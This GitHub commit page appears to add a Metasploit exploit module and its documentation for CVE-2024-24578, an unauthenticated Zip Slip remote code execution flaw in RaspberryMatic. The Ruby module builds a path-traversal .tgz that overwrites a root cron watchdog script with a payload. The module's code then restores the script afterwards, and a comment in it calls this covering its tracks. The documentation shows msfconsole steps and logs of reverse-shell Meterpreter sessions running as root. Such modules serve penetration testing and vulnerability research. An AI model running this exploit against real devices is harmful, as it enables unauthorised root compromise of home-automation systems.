Skip to content

Commit e9fc6e3

Browse files
authored
Merge pull request rapid7#19841 from h00die-gr3y/raspberrymatic-unauth-rce
RaspberryMatic unauthenticated RCE (Zip Slip) [CVE-2024-24578]
2 parents 3613013 + 2159574 commit e9fc6e3

File tree

2 files changed

+286
-0
lines changed

2 files changed

+286
-0
lines changed
Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
## Vulnerable Application
2+
RaspberryMatic / OCCU contains a unauthenticated remote code execution (RCE) vulnerability, caused by multiple issues within
3+
the Java based HMIPServer.jar component. The webui allows for Firmware uploads which can be reached through the URL
4+
`/pages/jpages/system/DeviceFirmware/addFirmware`.
5+
This allows an unauthenticated attacker to upload a malicious .tgz archive to the server, which will be automatically
6+
extracted without any further checks. As this entry can contain ../sequences, it is possible to break out of the predefined
7+
temp directory and write files to other locations outside this path.
8+
9+
This vulnerability is commonly known as the Zip Slip vulnerability and can be used to overwrite arbitrary files on the main
10+
filesystem. It is therefore possible to overwrite the watchdog script with a malicious payload in `/usr/local/addons/mediola/bin/`,
11+
which will be executed every five minutes through a cron job where attackers can gain remote code execution as root user,
12+
allowing a full system compromise.
13+
14+
RaspberryMatic versions <= `3.73.9.20240130` are vulnerable.
15+
16+
The following releases were tested.
17+
18+
**RaspberryMatic Releases:**
19+
* RaspberryMatic v3.73.9 (OVA image)
20+
* RaspberryMatic v3.65.8 (Raspberry Pi4 Model B image)
21+
22+
## Installation steps to install RaspberryMatic OVA image
23+
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
24+
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
25+
* Download [RaspberryMatic OVA](https://github.com/jens-maus/RaspberryMatic/releases/tag/3.73.9.20240130).
26+
* Install the OVA image in your virtualization engine.
27+
* When installed, configure the VM appliance to your needs using the menu options via the `webui`.
28+
* Boot up the VM and should be able to access the RaspberryMatic appliance via the `webui` via `http://your_ip/`.
29+
30+
You are now ready to test the module.
31+
32+
## Verification Steps
33+
- [ ] Start `msfconsole`
34+
- [ ] `use exploit/linux/http/raspberrymatic_unauth_rce_cve_2024_24578`
35+
- [ ] `set rhosts <ip-target>`
36+
- [ ] `set rport <port>`
37+
- [ ] `set lhost <attacker-ip>`
38+
- [ ] `set target <0=Unix/Linux Command>`
39+
- [ ] `exploit`
40+
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
41+
42+
## Options
43+
No specific options defined.
44+
45+
## Scenarios
46+
### RaspberryMatic OVA appliance - Unix/Linux Command x64 target
47+
```msf
48+
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set rhosts 192.168.201.6
49+
rhosts => 192.168.201.6
50+
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set FETCH_SRVHOST 192.168.201.8
51+
FETCH_SRVHOST => 192.168.201.8
52+
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set FETCH_WRITABLE_DIR /tmp
53+
FETCH_WRITABLE_DIR => /tmp
54+
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > rexploit
55+
[*] Reloading module...
56+
[*] Started reverse TCP handler on 192.168.201.8:4444
57+
[*] Running automatic check ("set AutoCheck false" to disable)
58+
[*] Checking if 192.168.201.6:443 can be exploited.
59+
[+] The target appears to be vulnerable. RaspberryMatic 3.73.9
60+
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
61+
[*] Uploading sT2s4fChKUZ.tgz
62+
[*] Waiting 5 minutes for watchdog execution via cron to trigger the RCE.
63+
[*] Sending stage (3045380 bytes) to 192.168.201.6
64+
[*] Restoring original watchdog script.
65+
[*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.6:51220) at 2025-01-28 18:00:01 +0000
66+
67+
meterpreter > sysinfo
68+
Computer : 192.168.201.6
69+
OS : (Linux 6.1.74)
70+
Architecture : x64
71+
BuildTuple : x86_64-linux-musl
72+
Meterpreter : x64/linux
73+
meterpreter > getuid
74+
Server username: root
75+
meterpreter > pwd
76+
/root
77+
meterpreter >
78+
```
79+
### RaspberryMatic Pi4 Model B compute board - Unix/Linux Command aarch64 target
80+
```msf
81+
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set payload cmd/linux/http/aarch64/meterpreter_reverse_tcp
82+
payload => cmd/linux/http/aarch64/meterpreter_reverse_tcp
83+
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set rhosts 192.168.201.10
84+
rhosts => 192.168.201.10
85+
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > rexploit
86+
[*] Reloading module...
87+
[*] Started reverse TCP handler on 192.168.201.8:4444
88+
[*] Running automatic check ("set AutoCheck false" to disable)
89+
[*] Checking if 192.168.201.10:443 can be exploited.
90+
[+] The target appears to be vulnerable. RaspberryMatic 3.65.8
91+
[*] Executing Unix/Linux Command for cmd/linux/http/aarch64/meterpreter_reverse_tcp
92+
[*] Uploading 8emVtVt6U.tgz
93+
[*] Waiting 5 minutes for watchdog execution via cron to trigger the RCE.
94+
[*] Restoring original watchdog script.
95+
[*] Meterpreter session 2 opened (192.168.201.8:4444 -> 192.168.201.10:40324) at 2025-02-03 17:40:01 +0000
96+
meterpreter > sysinfo
97+
Computer : 192.168.201.10
98+
OS : (Linux 5.15.56)
99+
Architecture : aarch64
100+
BuildTuple : aarch64-linux-musl
101+
Meterpreter : aarch64/linux
102+
meterpreter > getuid
103+
Server username: root
104+
meterpreter > pwd
105+
/root
106+
meterpreter >
107+
```
108+
## Limitations
109+
You have to wait maximum five minutes for a session to allow `cron` to run the malicious watchdog script
110+
containing the payload. Just be patient and wait for the magic to happen ;-)
111+
Another limitation is that the root filesystem on RaspberyMatic image is mounted read-only, so you need to set the
112+
option `FETCH_WRITABLE_DIR` to `/tmp` (this is mounted RW) otherwise the exploit will fail.
Lines changed: 174 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,174 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'RaspberryMatic unauthenticated Remote Code Execution vulnerability through HMServer File Upload.',
17+
'Description' => %q{
18+
RaspberryMatic / OCCU contains a unauthenticated remote code execution (RCE) vulnerability, caused by multiple
19+
issues within the Java based HMIPServer.jar component. The webui allows for Firmware uploads which can be reached
20+
through the URL `/pages/jpages/system/DeviceFirmware/addFirmware`.
21+
This allows an unauthenticated attacker to upload a malicious .tgz archive to the server, which will be
22+
automatically extracted without any further checks. As this entry can contain ../sequences, it is possible to
23+
break out of the predefined temp directory and write files to other locations outside this path.
24+
25+
This vulnerability is commonly known as the Zip Slip vulnerability and can be used to overwrite arbitrary files
26+
on the main filesystem. It is therefore possible to overwrite the watchdog script with a malicious payload in
27+
`/usr/local/addons/mediola/bin/`, which will be executed every five minutes through a cron job where attackers
28+
can gain remote code execution as root user, allowing a full system compromise.
29+
30+
RaspberryMatic versions <= `3.73.9.20240130` are vulnerable.
31+
},
32+
'License' => MSF_LICENSE,
33+
'Author' => [
34+
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
35+
'h0ng10 <https://git.hub/h0ng10>' # discovery of this vulnerability
36+
],
37+
'References' => [
38+
['CVE', '2024-24578'],
39+
['URL', 'https://attackerkb.com/topics/ywHhBnSObR/cve-2024-24578'],
40+
['URL', 'https://github.com/jens-maus/RaspberryMatic/security/advisories/GHSA-q967-q4j8-637h']
41+
],
42+
'DisclosureDate' => '2024-03-16',
43+
'Platform' => ['unix', 'linux'],
44+
'Arch' => [ARCH_CMD],
45+
'Privileged' => true,
46+
'Targets' => [
47+
[
48+
'Unix/Linux Command',
49+
{
50+
'Platform' => ['unix', 'linux'],
51+
'Arch' => [ARCH_CMD],
52+
'Type' => :unix_cmd,
53+
'DefaultOptions' => {
54+
'PAYLOAD' => 'cmd/linux/http/aarch64/meterpreter_reverse_tcp',
55+
'FETCH_WRITABLE_DIR' => '/tmp'
56+
}
57+
}
58+
]
59+
],
60+
'DefaultTarget' => 0,
61+
'DefaultOptions' => {
62+
'SSL' => true,
63+
'RPORT' => 443,
64+
'WfsDelay' => 5 * 60 # wait at least five minutes for RCE
65+
},
66+
'Notes' => {
67+
'Stability' => [CRASH_SAFE],
68+
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
69+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
70+
}
71+
)
72+
)
73+
register_options([
74+
OptString.new('TARGETURI', [ true, 'The RaspberryMatic endpoint URL', '/' ]),
75+
])
76+
end
77+
78+
# Method to construct malicious file in .tgz form
79+
# @param payload [String] to upload
80+
# @param fpath [String] to write the payload contents
81+
# @return [Rex::Text] Malicious .tgz form
82+
def create_malicious_tgz(payload, fpath)
83+
tarfile = StringIO.new
84+
Rex::Tar::Writer.new tarfile do |tar|
85+
tar.add_file(fpath.to_s, 0o777) do |io|
86+
io.write payload
87+
end
88+
end
89+
# tarfile.rewind
90+
# tarfile.close
91+
92+
Rex::Text.gzip(tarfile.string)
93+
end
94+
95+
# CVE-2024-24578: remote code execution via zip slip overwriting watchdog script
96+
# affected components:
97+
# web endpoint /pages/jpages/system/DeviceFirmware/addFirmware
98+
# shell script /usr/local/addons/mediola/bin/watchdog
99+
def execute_command(cmd, _opts = {})
100+
# create malicious compressed tar file (tgz) to overwrite watchdog script
101+
# with malicious payload triggering the RCE
102+
fname = Rex::Text.rand_text_alphanumeric(8..12)
103+
fpath = '../../../../../../../../../..//usr/local/addons/mediola/bin/watchdog'
104+
payload_tgz = create_malicious_tgz(cmd, fpath)
105+
106+
# construct multipart form data
107+
form_data = Rex::MIME::Message.new
108+
form_data.add_part(payload_tgz, 'application/gzip', 'binary', "form-data; name=\"file\"; filename=\"#{fname}.tgz\"")
109+
110+
# upload the malicious tgz file
111+
print_status("Uploading #{fname}.tgz")
112+
res = send_request_cgi({
113+
'method' => 'POST',
114+
'uri' => normalize_uri(target_uri.path, 'pages', 'jpages', 'system', 'DeviceFirmware', 'addFirmware'),
115+
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
116+
'data' => form_data.to_s
117+
})
118+
fail_with(Failure::NoAccess, "Upload #{fname}.tgz is not successful.") unless res&.code == 200 && res.body.include?('${addDevFirmwareInfoCorrupt}')
119+
print_status('Waiting 5 minutes for watchdog execution via cron to trigger the RCE.')
120+
end
121+
122+
def on_new_session(session)
123+
# restore orginal watchdog script to cover our tracks
124+
print_status('Restoring original watchdog script.')
125+
if session.type == 'meterpreter'
126+
session.sys.process.execute('/bin/sh', '-c "echo -ne \'#!/bin/sh\nif [ -e /etc/config/neoDisabled ];then\n\texit 0\nfi\n\n\' > /usr/local/addons/mediola/bin/watchdog"')
127+
session.sys.process.execute('/bin/sh', '-c "echo -ne \'if [ -e /usr/local/addons/mediola/Disabled ];then\n\texit 0\nfi\n\n\' >> /usr/local/addons/mediola/bin/watchdog"')
128+
session.sys.process.execute('/bin/sh', '-c "echo -ne \'PIDOFD=\$(pgrep -f \"neo_server.*automation.js\")\n\n\' >> /usr/local/addons/mediola/bin/watchdog"')
129+
session.sys.process.execute('/bin/sh', '-c "echo -ne \'if [ -z \"\$PIDOFD\" ]; then\n\t/usr/local/etc/config/rc.d/97NeoServer start\nfi\n\' >> /usr/local/addons/mediola/bin/watchdog"')
130+
else
131+
session.shell_command_token("echo -ne '#!/bin/sh\nif [ -e /etc/config/neoDisabled ];then\n\texit 0\nfi\n\n' > /usr/local/addons/mediola/bin/watchdog")
132+
session.shell_command_token("echo -ne 'if [ -e /usr/local/addons/mediola/Disabled ];then\n\texit 0\nfi\n\n' >> /usr/local/addons/mediola/bin/watchdog")
133+
session.shell_command_token("echo -ne 'PIDOFD=$(pgrep -f \"neo_server.*automation.js\")\n\n' >> /usr/local/addons/mediola/bin/watchdog")
134+
session.shell_command_token("echo -ne 'if [ -z \"$PIDOFD\" ]; then\n\t/usr/local/etc/config/rc.d/97NeoServer start\nfi\n' >> /usr/local/addons/mediola/bin/watchdog")
135+
end
136+
super
137+
end
138+
139+
def check
140+
print_status("Checking if #{peer} can be exploited.")
141+
res = send_request_cgi({
142+
'method' => 'POST',
143+
'uri' => normalize_uri(target_uri.path, '/config/help.cgi')
144+
})
145+
return CheckCode::Unknown('No valid response received from target.') unless res&.code == 200 && res.body.include?('${dialogHelpInfoLblVersion}')
146+
147+
# parse the version number
148+
# Examples:
149+
# ${dialogHelpInfoLblVersion} 3.73.9.20240130
150+
# ${dialogHelpInfoLblVersion} 3.73.9
151+
version = res.body.match(/\$\{dialogHelpInfoLblVersion\}\s*\d{1,2}\.\d{1,2}\.\d{1,2}/)
152+
# when found, remove whitespaces to avoid suprises in string splitting and comparison
153+
unless version.nil?
154+
version_number = version[0].gsub(/[[:space:]]/, '').split('}')[1]
155+
# Check if target is vulnerable
156+
if version_number
157+
if Rex::Version.new(version_number) <= Rex::Version.new('3.73.9')
158+
return CheckCode::Appears("RaspberryMatic #{version_number}")
159+
else
160+
return CheckCode::Safe("RaspberryMatic #{version_number}")
161+
end
162+
end
163+
end
164+
CheckCode::Unknown("Parsing version info from #{normalize_uri(target_uri.path, '/config/help.cgi')} failed.")
165+
end
166+
167+
def exploit
168+
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
169+
case target['Type']
170+
when :unix_cmd
171+
execute_command(payload.encoded)
172+
end
173+
end
174+
end

0 commit comments

Comments
 (0)